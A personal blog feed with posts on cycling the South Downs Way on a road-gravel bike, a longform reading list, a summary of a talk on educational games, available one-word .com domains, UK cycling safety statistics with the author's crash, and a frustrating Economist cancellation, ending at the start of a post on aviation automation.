Laurence Tennant2024-01-29T10:37:28+00:00http://laurencetennant.comLaurence TennantSouth Downs Way on a Gravel Bike2023-06-25T00:00:00+00:00http://laurencetennant.com/south-downs-way-gravel-bike<p>The South Downs Way is a 100-mile path running along the chalk hills of Hampshire and Sussex in South-East England. Due to the fact that the path is almost entirely offroad, has incredible views, and feels remote despite being not far from London, it is known as a fantastic long-distance trail to ride a mountain bike.</p>
<h3 id="gravel-bike">Gravel Bike?</h3>
<p><img src="/assets/sdw/bike.jpg" alt="Trek Domane" /></p>
<p>Unfortunately I don’t have a mountain bike, after my <a href="/how-safe-is-cycling">Trek Marlin</a> was stolen. As I was getting more into road cycling at the time, I switched to riding a Trek Domane, a popular endurance road bike. Meaning it’s comfortable to ride, at the cost of being slower and heavier than traditional performance-oriented road bikes. According to Trek’s marketing, it is also suitable for use as a gravel bike and has up to 38mm official tyre clearance, wider than a typical road bike.</p>
<p>After I saw a deal on Panaracer GravelKing Semi-Slick 38mm tubeless tyres, I decided to put them on the wheels, take a week off work and give the South Downs Way a try! But, the South Downs Way is considered an MTB route with rough terrain, and I wasn’t even riding a “real” gravel bike which can typically run wider tyres from 40mm+ to cope with layers of sharp rocks. How would my Domane fare?</p>
<h3 id="logistics">Logistics</h3>
<p><img src="/assets/sdw/map.png" alt="Trek Domane" /></p>
<p>Lots of people bikepack the South Downs Way and either wildcamp or stay at B&Bs and hostels along the way. However, I preferred to take the train out from London early in the morning and finish off at a station to return back in the afternoon. This meant I could travel light and save money (not much given the price of train tickets!), and sleep in my own bed. This was harder to plan than when walking the North Downs Way just because there aren’t many stations near the South Downs Way, but there are enough to make it work.</p>
<p>I followed Komoot’s <a href="https://www.komoot.com/collection/888595/a-southern-off-road-utopia-the-south-downs-way">“A Southern off-road utopia” guide</a>, which splits the journey into three sections. Apart from the start and end, the sections don’t connect to stations. So I made the following modifications using Komoot’s site:</p>
<ul>
<li>Day 1 (Winchester to South Harting): Delete waypoints after Queen Elizabeth Country Park and finish at Petersfield station. There is a good cycle route all the way to Petersfield.</li>
<li>Day 2 (South Harting to Pyecombe): Start from Petersfield station and add waypoints that were deleted from Day 1 to get back on the route. Add Hassocks staton as a finishing point. Unfortunately the route to Hassocks station sucks, along Brighton Road you have to choose either a narrow overgrown pavement or a 50mph road, however it’s only for a short amount of time.</li>
<li>Day 3 (Pyecombe to Eastbourne): Add Hassocks station as starting point. At the end, for some reason Komoot’s route diverges from the South Downs Way bridlepath and descends into Eastbourne via the main road instead, delete this and follow the path to finish at the official finish point by The Kiosk on Foyle’s Way.</li>
</ul>
<p>There is a problem with Komoot’s itinerary, which is that Day 2 is significantly longer and harder than Days 1 and 3. My changes make the problem worse by moving some of Day 1 into Day 2. An alternative option is to split Day 2 into two sections at Amberley instead which has a station very close to the path.</p>
<h3 id="day-1-winchester-to-petersfield">Day 1: Winchester to Petersfield</h3>
<p>I set off very early on a perfect June today for the first section, as you can see from the long shadows at Winchester Cathedral.</p>
<p><img src="/assets/sdw/10.jpg" alt="" /></p>
<p>I had a mechanical issue not long after setting off, finding out that my newly installed tubeless rear tyre had a slow leak. This was beyond my capability to diagnose at the time, and I was lucky that the next person who came by was an experienced touring cyclist called James with an big repair kit and a decade of knowledge in fixing tubeless tyres. He eventually isolated the problem to a dodgy valve core and put in a spare one he had. Not only did he solve my immediate problem, but he also showed me how to be solve it myself in future. After that it was smooth sailing with a pit stop at the gorgeous Old Winchester Hill.</p>
<p><img src="/assets/sdw/11.jpg" alt="" /></p>
<p>The last hill was Butser Hill, also the highest point on the South Downs. The view was stunning and descending it was fun due to the more forgiving grassy surface compared to the other hills.</p>
<p><img src="/assets/sdw/12.jpg" alt="" /></p>
<p>I finished by taking a well-signposted cycle route from Queen Elizabeth Country Park to Petersfield station. Overall I had a great day and still felt like I had plenty left in the tank, which made me underestimate how tough the next day would be.</p>
<h3 id="day-2-petersfield-to-hassocks">Day 2: Petersfield to Hassocks</h3>
<p>This section started with a decent climb and after that point there was a long part where I really felt the unsuitability of my bike. There was miles and miles of a track between sheep fields that consisted of large loose rocks. Making progress through this in the summer sun was an ordeal and descents were particularly brutal as I had to cling onto the brakes, making my arms wobble as if I was operating heavy machinery and soon leading to numbness in several fingers. To top it off there was a moderate headwind when the guidebook said that going west to east you should get a tailwind 85% of the time.</p>
<p><img src="/assets/sdw/20a.jpg" alt="" /></p>
<p>After this painful experience I stopped at the conveniently located Cadence Club in Upwaltham and chatted with a friendly guy from Essex who was bikepacking the route and trying to stay positive but clearly struggling with the climbs with all the extra stuff he was carrying. I then chatted to a guy who was working from his phone while cycling the entire length of the country. Hardcore.</p>
<p><img src="/assets/sdw/20b.jpg" alt="" /></p>
<p>The second half of the section has two hills where you go all the way down to sea level and climb back up top again on steep inclines. I was doing okay until Truleigh Hill when I suddenly hit the wall. Whether it was the heat, dehydration, lack of food, or all of the above, I suddenly had no energy left with about 10 miles to go. I stopped for a while on that bench and hoped for a second wind to take me to the finish.</p>
<p><img src="/assets/sdw/21.jpg" alt="" /></p>
<p>The last part mercifully had gentler surfaces and if the gradients were too steep I walked them rather than grinding away on my lowest gear as I had tried my best to do earlier. That’s another drawback of the fake gravel bike - although I was faster than the mountain bikers up most climbs, if the inclines were too steep I didn’t have gearing low enough and had to walk.</p>
<p><img src="/assets/sdw/22.jpg" alt="" /></p>
<p>Despite the difficulties, this was once again a truly beautiful part of the world which made all the suffering worth it, and it was certainly interesting to experience what reaching my physical limit felt like. It made me want to get fitter and prepare better so that next time it’s a walk in the park.</p>
<p>On the rare occasions I was on tarmac I wanted to kiss it!</p>
<h3 id="day-3-hassocks-to-eastbourne">Day 3: Hassocks to Eastbourne</h3>
<p>Learning my lesson from last time, I brought along more food and also memorised the locations of the water taps on the route on this final day. The route from Hassocks Station back to the South Downs Way was a bit nasty but once back on the path it was more of the same wonderful views.</p>
<p><img src="/assets/sdw/30.jpg" alt="" /></p>
<p>Despite seeing the Litlington White Horse in the distance, I completely missed the intriguing <a href="https://en.wikipedia.org/wiki/Long_Man_of_Wilmington">Long Man of Wilmington</a> which the way passes over. This is the sort of thing you will know to stop for as a walker but miss when cycling, but I was otherwise glad to be cycling not walking. Partly this was because there were two parts of this section where my bike finally excelled. Near a farm there was a well-maintained hard-packed gravel road that I felt like I was flying over. Elsewhere was a cracked paved track that was also fun.</p>
<p><img src="/assets/sdw/31.jpg" alt="" /></p>
<p>Just when I was about to conclude that this section was overall the best for a gravel bike, I reached two of the toughest climbs of the whole South Downs Way. The one after Alfriston sticks in my mind as particularly brutal, with an extremely steep overgrown path made of loose bricks in some places. The only other cyclist I encountered round here was riding the fattest tyres I’ve ever seen.</p>
<p>Once I saw Eastbourne I knew I was very close to the end and I couldn’t wait to replenish some of those carbohydrates. At the same time I had to stop to admire the final view and the area round Beachy Head has a special feel to it.</p>
<p><img src="/assets/sdw/32.jpg" alt="" /></p>
<p>Zooming down the parade was joyous. My conclusion is that though the South Downs Way is doable on a gravel bike, I don’t think I’d do it again. It was a brilliant experience but a mountain bike is a far more appropriate tool for the job. Possibly a proper gravel bike with much thicker tyres would work well enough too but I think front suspension would be nice.</p>
<p>I’ve come away with a better understanding of how tyre widths and pressures impact your ride. And I feel grateful to the years of history and work that people have put into maintaining the trail and making such an adventure possible so accessible from London.</p>
Incredible Longform Articles2023-06-02T00:00:00+00:00http://laurencetennant.com/longform-reads<p>I love sitting down with a cup of tea and reading an incredible longform article. Here’s a list of my favourite longform articles, primarily focussed on technology and true crime.</p>
<p><br /><br /></p>
<p><strong>Airplanes</strong></p>
<ul>
<li><a href="https://www.popularmechanics.com/flight/a3115/what-really-happened-aboard-air-france-447-6611877">What Really Happened Aboard Air France 447</a> (Popular Mechanics, 2020)</li>
</ul>
<p><strong>Cybersecurity</strong></p>
<ul>
<li><a href="https://www.bloomberg.com/news/features/2021-09-02/juniper-mystery-attacks-traced-to-pentagon-role-and-chinese-hackers">Juniper Mystery Attacks Traced to Pentagon Role and Chinese Hackers</a> (Bloomberg, 2021)</li>
<li><a href="https://www.wired.com/story/the-full-story-of-the-stunning-rsa-hack-can-finally-be-told/">The Full Story of the Stunning RSA Hack Can Finally Be Told</a> (Wired, 2021)</li>
<li><a href="https://www.wired.com/story/lee-holloway-devastating-decline-brilliant-young-coder/">The Devastating Decline of a Brilliant Young Coder</a> (Wired, 2020)</li>
<li><a href="https://www.wired.com/2017/03/russian-hacker-spy-botnet/">Inside the Hunt for Russia’s Most Notorious Hacker</a> (Wired, 2017)</li>
<li><a href="http://www.cabinetmagazine.org/issues/40/sherman.php">How To Make Anything Signify Anything</a> (Cabinet, 2010)</li>
</ul>
<p><strong>Extreme Activities</strong></p>
<ul>
<li><a href="https://www.outsideonline.com/1922711/raising-dead">Raising the Dead</a> (Outside Online, 2005)</li>
</ul>
<p><strong>History</strong></p>
<ul>
<li><a href="https://www.lrb.co.uk/the-paper/v45/n23/jonah-goodman/a-national-evil">A National Evil - the curse of the goitre in Switzerland</a> (LRB, 2023)</li>
<li><a href="https://www.theguardian.com/world/2016/jul/06/fatal-hike-became-nazi-propaganda-coup">The Fatal Hike that became a Nazi Propaganda Coup</a> (The Guardian, 2016)</li>
<li><a href="https://idlewords.com/2010/03/scott_and_scurvy.htm">Scott And Scurvy</a> (Idle Words, 2014)</li>
</ul>
<p><strong>Society</strong></p>
<ul>
<li><a href="https://thewalrus.ca/the-rise-and-fall-of-a-double-agent/">The Rise and Fall of a Double Agent</a> (The Walrus, 2021)</li>
<li><a href="https://www.esquire.com/news-politics/a5609/chimpanzee-attack-0409/">Worst Chimpanzee Attack Story Ever</a> (Esquire, 2009)</li>
<li><a href="https://www.rd.com/article/how-honest-are-dentists/">I Went to 50 Different Dentists and Almost All of Them Gave Me a Different Diagnosis </a> (Reader’s Digest, 1997)</li>
<li><a href="https://www.theatlantic.com/magazine/archive/1982/02/have-you-ever-tried-to-sell-a-diamond/304575/">Have You Ever Tried to Sell a Diamond?</a> (The Atlantic, 1982)</li>
<li><a href="https://www.rd.com/article/reckless-driving/">A Writer’s Desperate Plea Paints a Horrifying Picture of What Really Happens in a Car Crash</a> (Reader’s Digest, 1935)</li>
</ul>
<p><strong>True Crime</strong></p>
<ul>
<li><a href="https://www.thecut.com/2018/05/how-anna-delvey-tricked-new-york.html">Maybe She Had So Much Money She Just Lost Track of It</a> (The Cut, 2018)</li>
<li><a href="https://magazine.atavist.com/the-mastermind">The Mastermind</a> (The Atavist, 2016)</li>
<li><a href="https://www.vanityfair.com/culture/2016/03/biggest-jewel-heist-in-british-history">How a Ragtag Gang of Retirees Pulled Off the Biggest Jewel Heist in British History</a> (Vanity Fair, 2016), see also <a href="https://www.wired.com/2009/03/ff-diamonds-2/">The Untold Story of the World’s Biggest Diamond Heist</a></li>
<li><a href="https://story.californiasunday.com/joel-dreyer-criminal-psychiatrist">A Criminal Mind</a> (California Sunday, 2015)</li>
<li><a href="https://www.vanityfair.com/culture/2013/05/true-crime-elegante-hotel-texas-murder">The Body in Room 348</a> (Vanity Fair, 2013)</li>
<li><a href="https://www.otherhand.org/home-page/search-and-rescue/the-hunt-for-the-death-valley-germans/">The Hunt For The Death Valley Germans</a> (Other Hand, 2012)</li>
<li><a href="https://www.wired.com/2010/12/ff-collarbomb/">The Incredible True Story of the Collar Bomb Heist</a> (Wired, 2010)</li>
<li><a href="https://www.dmagazine.com/publications/d-magazine/1993/february/the-professor-and-the-love-slave/">The Professor and the Love Slave</a> (D Magazine, 1993)</li>
</ul>
<p><strong>Cryptocurrency</strong></p>
<ul>
<li><a href="https://www.theguardian.com/news/2021/sep/07/disastrous-voyage-satoshi-cryptocurrency-cruise-ship-seassteading">The disastrous voyage of Satoshi, the world’s first cryptocurrency cruise ship</a> (The Guardian, 2021)</li>
<li><a href="https://www.wired.com/story/strange-life-mysterious-death-of-virtuoso-coder/">The Strange Life and Mysterious Death of a Virtuoso Coder</a> (Wired, 2019) + <a href="https://github.com/zack-bitcoin/amoveo-docs/blob/master//other_blockchains/tessr.md">follow-up conspiracy theory</a></li>
</ul>
Games and the Future of Education2023-03-18T00:00:00+00:00http://laurencetennant.com/games-future-education<p>How to make games that are both fun and educational? That’s what we tried to do with <a href="https://cryptohack.org/">CryptoHack</a>, but given more time and ambition I wonder how we could iterate on the concept and take it to the next level.</p>
<p>Although it deals more with video games rather than games in general, the best talk that I’ve watched on this topic is Jonathon Blow’s <a href="https://www.youtube.com/watch?v=qWFScmtiC44">Video Games and the Future of Education</a>. He lays out a vision for the medium of video games and their enormous potential in modern education. Essentially, he argues that video games have the ability to quickly build intuitive, systemic knowledge, but that existing games rarely live up to that potential. His 2016 game <a href="https://en.wikipedia.org/wiki/The_Witness_(2016_video_game)"><em>The Witness</em></a> is an implementation of many of these ideas.</p>
<p><img src="/assets/pacman.png" alt="Pacman" /></p>
<p>What follows is a summary of the points from the talk that I thought were interesting.</p>
<h3 id="non-linguistic-communication">Non-linguistic communication</h3>
<ul>
<li>Non-linguistic communication is getting ideas into the head of the player without having to explain them with words.</li>
<li>If you were to write down a full description of how <em>Pacman</em> works, it would take several pages. And yet a new player is able to internalise all the rules in just a few minutes by playing.</li>
<li>“Games enable you to build very detailed models of highly nonlinear state spaces that contain surprises”.</li>
<li>Games can accelerate and emulate the process of intuitive knowledge acquisition. This matches real world experiential learning: for instance over years a farmer builds up a complex model about how to act based on subtle changes in weather conditions.</li>
<li>Players gain competence without needing to memorise specific facts.</li>
<li>Games are their own medium - they’re not just pictures+sound+controls. Games can convey ideas that couldn’t be transmitted by any of those individual components alone.</li>
</ul>
<h3 id="puzzle-games">Puzzle games</h3>
<ul>
<li>In puzzle games, simpler levels are better - they communicate the ideas behind the puzzles most clearly.</li>
<li>This runs contrary to the notion of gaming entertainment which involves giving the player a lot of things to grab their attention, which actually reduce the clarity of transmission of the core ideas.</li>
<li>Some people are able to solve puzzles without being able to verbalise what they’re doing. They are reasoning internally. Others are able to explain the steps to a solution.</li>
</ul>
<h3 id="educational-games">Educational games</h3>
<ul>
<li>To be something people actually want to play, a game needs to do things that only games can do and that books can’t.</li>
<li>If you try and bring a “book-structure” to games, it doesn’t make for a fun game and this is why most educational games are bad: “trying to take a book shaped peg and fit it in a game shaped hole”.</li>
<li>Good educational games shouldn’t try to directly model reality. The real world is too messy and complicated to shoehorn into a game. Instead, games can communicate the underlying principles and intuitions.</li>
<li>For example, in <a href="https://en.wikipedia.org/wiki/SpaceChem"><em>SpaceChem</em></a>, you learn about chemical bonding and automation even though the actual science is somewhat oversimplified. “If you spent a hundred hours playing this game doing cool stuff you probably have more appreciation for chemistry than if you’d never did anything in chemistry and then you show up in a boring class one day”.</li>
<li>The immense educational value of these types of game are unacknowledged “because we’re looking for the education in the wrong place we’re looking for the education in terms of knowing about specific circuits or specific programming language when the actual education here is the deep spirit of engineering”.</li>
</ul>
<h3 id="gamification">Gamification</h3>
<ul>
<li>Naive gamification is bad - firstly, it waters down achievements so they don’t mean anything.</li>
<li>Human beings have an innate desire to explore and learn. If gamification has to be added to teaching content to get people to be interested, it’s probably not good content. Students know when they are being tricked into learning something that is inherently not engaging and they feel manipulated.</li>
<li><a href="https://en.wikipedia.org/wiki/Overjustification_effect"><em>Overjustification effect</em></a> - an expected external incentive such as prizes or monetary rewards decreases someone’s intrinsic motivation to perform a task.</li>
</ul>
<h3 id="complex-systems">Complex systems</h3>
<ul>
<li>The world is getting more complicated year by year, we are governed by vast economic, political, and environmental systems.</li>
<li>Books are often insufficient at teaching the interactions of such complex systems.</li>
<li>Systems literacy is too low. “We need to train people in systems thinking and the way to do that is by engaging with systems and so I think you could do way worse than to have people play a lot of video games”.</li>
<li>Only certain types of games work for this though. Linear games or games that don’t give the player real choice can’t do this. Fortunately, many contemporary triple-A video games encourage systemic thinking (e.g. <em>Fortnite</em>).</li>
</ul>
Available One Word .com Domains2023-03-09T00:00:00+00:00http://laurencetennant.com/available-one-word-dotcoms<p>I was brainstorming a name for a side project, and wanted the name to be an available .com domain to register. There’s .net, .org, and many other TLDs but everyone knows that .com is the best. Google claims that TLDs are not a factor in Google search apart from in finding local results for international users. Nevertheless, there’s a trustworthiness factor to .com domains that can’t be matched, with an assumption by some number of users that COMPANYNAME.com is the definitive, official domain.</p>
<p>The problem is, when browsing for .com domains you quickly realise that almost everything good has been taken. Mostly by <a href="https://en.wikipedia.org/wiki/Cybersquatting">domain squatters</a>, who demands thousands of dollars for domains that they’ve done nothing with. Essentially a form of cyberspace rent-seeking.</p>
<p>I found a name that was just perfect for my project, but unfortunately it was registered by a squatter using GoDaddy’s registrar. GoDaddy provide a domain broker service for this, where you pay a broker upfront to attempt to contact the domain owners and they negotiate a price for you. If the deal goes through, then the broker gets a hefty cut. If it doesn’t, or the domain owner doesn’t respond, you’ve still lost the upfront fee. Seems like a bad deal unless you’re desperate.</p>
<p>Out of curiosity I decided to discover all one word .com domains that you can still register. The results are <a href="https://gist.github.com/hyperreality/9a9f81d5d7e37ac5e8d979a20a1d1a5e">here</a>. The wordlist was <code class="language-plaintext highlighter-rouge">/usr/share/dict/american-english</code> on Ubuntu.</p>
<p>The vast majority of the available domains are predictably obscure, or words with negative connotations that you couldn’t build a product around. Like <code class="language-plaintext highlighter-rouge">sickliest.com</code>. Many of the words are adjectives in the comparative or superlative form which just sound odd as individual words e.g. <code class="language-plaintext highlighter-rouge">loyaller.com</code>, <code class="language-plaintext highlighter-rouge">loyallest.com</code>.</p>
<p>I did see a couple of cool ones like <code class="language-plaintext highlighter-rouge">tasted.com</code> and <code class="language-plaintext highlighter-rouge">diskette.com</code> but these only came up because they were in some sort of <a href="https://superuser.com/a/1192315">post-expiry limbo state</a> and weren’t actually available to register. If you’re into poetry, <code class="language-plaintext highlighter-rouge">anapests.com</code> and <code class="language-plaintext highlighter-rouge">trochees.com</code> are available.</p>
<p>Overall, only 1206 of 74585 words in the dictionary were available. Next I want to try two-word combinations, where there’s bound to be a bunch of cool domain ideas that nobody has picked up yet. It will obviously take a long time to run through them all so the script should look for combinations of words that work well together with assonance, rhymes, or topical similarity,</p>
How Safe is Cycling?2022-12-05T00:00:00+00:00http://laurencetennant.com/how-safe-is-cycling<h3 id="intro">Intro</h3>
<p>Like a lot of others during the pandemic I got into cycling. I hadn’t been on a bike since I was kid, but after doing a lot of <a href="/capital-ring">walking</a>, I wanted to explore further and farther, as well as exercise more intensely.</p>
<p><img src="/assets/bike.png" alt="Mountain bike" /></p>
<p>My main concern about cycling was safety, so I bought a mountain bike and stayed off the roads as much as I could. However the same few off-road trails nearby became dull pretty quickly. I soon started to wonder if a road bike would be a more valuable purchase. Before taking the plunge I needed to answer the question: just how safe is cycling?</p>
<h3 id="safer-than-walking">Safer Than Walking</h3>
<p>It’s easy to find articles from cycling magazines and blogs claiming that cycling is very safe. For instance <a href="https://www.cyclingweekly.com/cycling-weekly/cycling-safety-and-safely-468870">Cycling Weekly says</a>:</p>
<blockquote>
<p>The first thing to remember is that cycling is not a dangerous activity. Statistics from the Department of Transportation show that, per billion miles travelled, more pedestrians are killed than cyclists - and we wouldn’t consider walking a dangerous activity.</p>
</blockquote>
<p>This essential argument is repeated in many places:</p>
<ol>
<li>Walking is considered a safe activity</li>
<li>Cycling is less fatal than walking, by distance travelled</li>
<li>Therefore, cycling can be considered a safe activity</li>
</ol>
<p>I pulled up <a href="https://www.pacts.org.uk/wp-content/uploads/PACTS-What-kills-most-on-the-roads-Report-15.0.pdf">UK government statistics from 2019</a>, and the claim in point 2 is true (at least in the UK). There are slightly less deaths of cyclists per billion kilometres than there are of pedestrians:</p>
<p><img src="/assets/road-deaths-2019.png" alt="" /></p>
<p>So what’s the problem with the argument? It seems surprising, because cycling certainly <a href="https://www.thinks.jamesbradbury.co.uk/do-cyclists-have-a-death-wish.html"><em>feels</em> more dangerous than walking</a>. But on further thought the argument overlooks a few things. First, the data used in point 2 only examines deaths, and not serious injuries.</p>
<p>The other nuance with the statistic is that on a bike you can cover five times the distance in the same time that it would take to walk. The type of journeys you take are different, so distance does not necessarily feel like the best way to compare.</p>
<h3 id="different-ways-of-viewing-the-data">Different Ways of Viewing The Data</h3>
<p>I therefore looked for other perspectives on transport deaths data. The following tables are from an <a href="https://web.archive.org/web/20010907173322/http://www.numberwatch.co.uk/risks_of_travel.htm">old survey carried out in 2000 by a UK government department</a>, which I found interesting as they present the data using different variables.</p>
<p>Compared to 2019 data, the numbers look broadly similar. Fortunately cycling and pedestrian deaths are down over a third since these 2000 statistics, however motorbike deaths are up.</p>
<p><strong>Deaths per billion kilometres</strong></p>
<table>
<thead>
<tr>
<th>Travel type</th>
<th>Deaths</th>
</tr>
</thead>
<tbody>
<tr>
<td>Motorcycle</td>
<td>108.9</td>
</tr>
<tr>
<td>Foot</td>
<td>54.2</td>
</tr>
<tr>
<td>Pedal cycle</td>
<td>44.6</td>
</tr>
<tr>
<td>Car</td>
<td>3.1</td>
</tr>
<tr>
<td>Water</td>
<td>2.6</td>
</tr>
<tr>
<td>Van</td>
<td>1.2</td>
</tr>
<tr>
<td>Rail</td>
<td>0.6</td>
</tr>
<tr>
<td>Air</td>
<td>0.05</td>
</tr>
<tr>
<td>Bus</td>
<td>0.04</td>
</tr>
</tbody>
</table>
<p>This deaths per billion kilometres data follow what we already discussed. But, it’s notable how high the fatality rate of walking is (even though it has dropped, it’s still 10x higher than for cars). Cycling organizations try to reassure us that cycling is safer than walking, but the main conclusion I draw from this table is that walking is less safe than I thought. This weakens premise 1 of the argument.</p>
<p><strong>Deaths per billion journeys</strong></p>
<table>
<thead>
<tr>
<th>Travel type</th>
<th>Deaths</th>
</tr>
</thead>
<tbody>
<tr>
<td>Motorcycle</td>
<td>1640</td>
</tr>
<tr>
<td>Pedal cycle</td>
<td>170</td>
</tr>
<tr>
<td>Air</td>
<td>117</td>
</tr>
<tr>
<td>Water</td>
<td>90</td>
</tr>
<tr>
<td>Foot</td>
<td>40</td>
</tr>
<tr>
<td>Car</td>
<td>40</td>
</tr>
<tr>
<td>Van</td>
<td>20</td>
</tr>
<tr>
<td>Rail</td>
<td>20</td>
</tr>
<tr>
<td>Bus</td>
<td>4.3</td>
</tr>
</tbody>
</table>
<p>When looking at deaths per journey, the rankings change. Air travel suddenly looks more dangerous, while walking looks safer than cycling. But this is just a normalisation of the fact that journeys by foot tend to be short and journeys by air tend to be long. For that reason, I don’t find this table particularly helpful.</p>
<p><strong>Deaths per billion hours</strong></p>
<table>
<thead>
<tr>
<th>Travel type</th>
<th>Deaths</th>
</tr>
</thead>
<tbody>
<tr>
<td>Motorcycle</td>
<td>4840</td>
</tr>
<tr>
<td>Pedal cycle</td>
<td>550</td>
</tr>
<tr>
<td>Foot</td>
<td>220</td>
</tr>
<tr>
<td>Car</td>
<td>130</td>
</tr>
<tr>
<td>Van</td>
<td>60</td>
</tr>
<tr>
<td>Water</td>
<td>50</td>
</tr>
<tr>
<td>Air</td>
<td>30.8</td>
</tr>
<tr>
<td>Rail</td>
<td>30</td>
</tr>
<tr>
<td>Bus</td>
<td>11.1</td>
</tr>
</tbody>
</table>
<p>Deaths per hour is a better perspective than the previous table. Now, I can see that if I replace a two hour hike with a two hour cycle ride, this has a roughly 2.5x greater risk. This also shows just how fatal motorcycling is compared to other forms of transport. An hour on a motorbike is 10x more likely to kill you than an hour on a bicycle, which itself is almost 20x more likely to kill you than an hour on a train.</p>
<p>Deaths per hour as a metric has a different problem with it though. Imagine if somebody invented a teleportation device, which was just as risky as driving a car over the same distance, but was 1000x faster. This device would have 130000 deaths per billion hours, making it seem extremely dangerous. And yet it would be more useful than a car and equally as safe for performing the same journeys.</p>
<p>In any case, if you know the average speed of each form of transport, this table can be derived from the <em>Deaths per billion kilometres</em> table, and vice-versa.</p>
<p>So that little detour confirmed that “Deaths per billion kilometres” is the most generally useful metric to consider. But for recreational/exercise purposes, “Deaths per billion hours” is also worth thinking about. If you have a two hour slot to exercise, then distance matters less as you substitute one activity for another. Another aspect is whether cycling is a more efficient activity for becoming healthier, which we’ll investigate later.</p>
<h3 id="casualty-rate">Casualty Rate</h3>
<p>The situation looks significantly worse for cyclists once considering injuries and not just fatalities. This is from the same <a href="https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/922717/reported-road-casualties-annual-report-2019.pdf">2019 UK government report</a> which the first graph came from:</p>
<p><img src="/assets/transport-casualty-rate.png" alt="" /></p>
<p>Once factoring in injuries, cycling has just as high rate of casualties as motorcycling! It’s just that a motorbike accident is more likely to kill you, while a cycling accident is more likely to injure you. Casualties here are made up of both slight and serious injuries, with serious injuries representing about a quarter of casualties in the case of cyclists, and a third in the case of motorcyclists. I’m of the opinion that some serious injuries could be just as bad as death, so this is a little scary.</p>
<p>A counter to the original argument could therefore be:</p>
<ol>
<li>Motorcycling is considered a dangerous activity</li>
<li>Cycling has a similar injury rate to motorcycling, by distance travelled</li>
<li>Therefore, cycling can be considered a dangerous activity</li>
</ol>
<p>Further, the cycling casualty stats are under-reported. According to a <a href="https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/fil">separate analysis</a>, “pedal cyclist non-fatal casualties are amongst the most likely to be under-reported in road accident data collected by the police, especially where the pedal cycle was the only vehicle in the accident.”</p>
<h3 id="my-own-cycling-crash">My Own Cycling Crash</h3>
<p>Originally, I didn’t end up finishing or publishing this post, but I did convince myself to buy a road bike, and got very into the hobby. After about a year of regular road cycling, I had a nasty accident.</p>
<p>I was cycling downhill on a narrow country lane. A delivery van appeared ahead, coming towards me and taking up most of the space in the road. I moved to the side to give it room, and hit a pothole in the road. The next thing I knew, I was bleeding on the tarmac, with the driver running over to help.</p>
<p>I received great care in hospital and was lucky in the way that I fell. My bike itself fared much worse, since it hit the side of the van and the front fork split off!</p>
<p>I didn’t report this to the police, as I didn’t consider the van driver at fault. I didn’t see what the police could do other than close the case. Perhaps I should have reported it to them for the statistics alone. If anyone was at fault it was the council for the poor state of the road, I considered making a claim but didn’t in the end.</p>
<p>All this is to say that, I can see why cycling casualties are under-reported. And I can see why vans cause a high number of “other road user deaths”. Even without the driver doing anything wrong that I can recall, the van’s big presence on the road contributed to the accident.</p>
<h3 id="a-brighter-conclusion">A Brighter Conclusion</h3>
<p>So, the numbers we’ve dug into paint a grimmer picture for cycling than the cycling magazines do. You’re less likely to be killed than you are by walking a similar distance. But you’re much more likely to be injured - almost as likely as you are to have an accident when motorcycling in fact, if not more so due to under-reporting - just the accident is likely to be less severe. Also, walking is more dangerous than you might have thought.</p>
<p>I feel this debunks the initial pro-cycling argument, but there’s a much better argument for cycling.</p>
<p>Regular cycling reduces your chances of dying from many other causes. <a href="https://www.bmj.com/content/357/bmj.j1456">Research published in the BMJ</a> found that cycling to work is linked with an over 40% lower risk of developing cancer and cardiovascular disease, compared to commuting by car or public transport. This is just one of a number of studies showing incredible benefits to cycling. The studies tend to compare cycling to sedentary travel, but when they do also show benefits of walking, they’re not nearly as strong as cycling. In the linked study, walkers confusingly had a higher mortality rate, particularly from cancer, than drivers.</p>
<p><a href="https://www.thelancet.com/journals/lancet/article/PIIS0140-6736%2809%2961714-1">Other</a> <a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2920084/">studies</a> have gone further in terms of balancing the health benefits with the risk of injury. Of the main studies, the lowest benefit to “disbenefit” ratio I could find for cycling was 9:1 in <a href="https://pubmed.ncbi.nlm.nih.gov/20587380/">this Dutch study</a>. Basically, the studies claim that the benefits of regular cycling far outweigh mortality from pollution and traffic accidents. I couldn’t see where that particular study took into account serious injuries, however the other linked study does by using disability-adjusted life-years.</p>
<p>Personally, I’m back on my bike but taking more care about where and when I cycle. I want the health benefits with minimal risks. And it’s just too much fun.</p>
Cancelling My Subscription To The Economist2022-05-01T00:00:00+00:00http://laurencetennant.com/cancelling-economist<p>I was reviewing my monthly expenses and decided to cancel my subscription to <em>The Economist</em>. I thought this would be simple to do online, just like signing up was. But for a newspaper that treats its readers like adults, I was surprised at how annoying the process to unsubscribe was.</p>
<p>First I had to dig around on their website to find the following page to start the cancellation process:</p>
<p><img src="/assets/economist/1.png" alt="" /></p>
<p>Apart from the emotional appeal, the page employs the dark pattern of inverted button colours. The action you want to take is hard to see at the bottom of the page.</p>
<p>The next page revealed that chatting to a salesperson is the only way to cancel:</p>
<p><img src="/assets/economist/2.png" alt="" /></p>
<p>The customer retention sales strategies began:</p>
<p><img src="/assets/economist/3.png" alt="" />
<img src="/assets/economist/4.png" alt="" /></p>
<p>After thinking for a while, he found a “better option” for me than cancellation. I could stay subscribed with an even better special offer than I was first given!</p>
<p><img src="/assets/economist/5.png" alt="" />
<img src="/assets/economist/6.png" alt="" /></p>
<p>Not tempted by the “tremendous” deals I was being presented with, I stated that I wanted to cancel my subscription for the fourth time.</p>
<p>Finally the salesperson admitted defeat:</p>
<p><img src="/assets/economist/7.png" alt="" />
<img src="/assets/economist/8.png" alt="" /></p>
<p>Soon after, I received an email trying to get me to resubscribe with a 50% discount:</p>
<p><img src="/assets/economist/9.png" alt="" /></p>
<p>I might have considered re-subscribing before, but won’t be after this experience. It’s ridiculous to be subjected to pressure sales tactics from a well-regarded newspaper and have to confirm that I want to cancel at least five times. I’ll put up with “customer retention strategies” from my Internet Services Provider, since I have to, but not for a newspaper which could be regarded as a luxury.</p>
<p>More generally, if I can subscribe by submitting a form online, then I should be able to unsubscribe by submitting a form online too.</p>
Automation and Children of the Magenta Line2022-01-02T00:00:00+00:00http://laurencetennant.com/automation-magenta-line<p>I’ve recently been reading <a href="https://admiralcloudberg.medium.com/">Admiral Cloudberg’s</a> analyses of famous aviation disasters. They are clear, well-researched articles which present complex events in a way that a layman can understand. The articles end by showing how each incident led to improvements in procedure, engineering, or personnel training.</p>
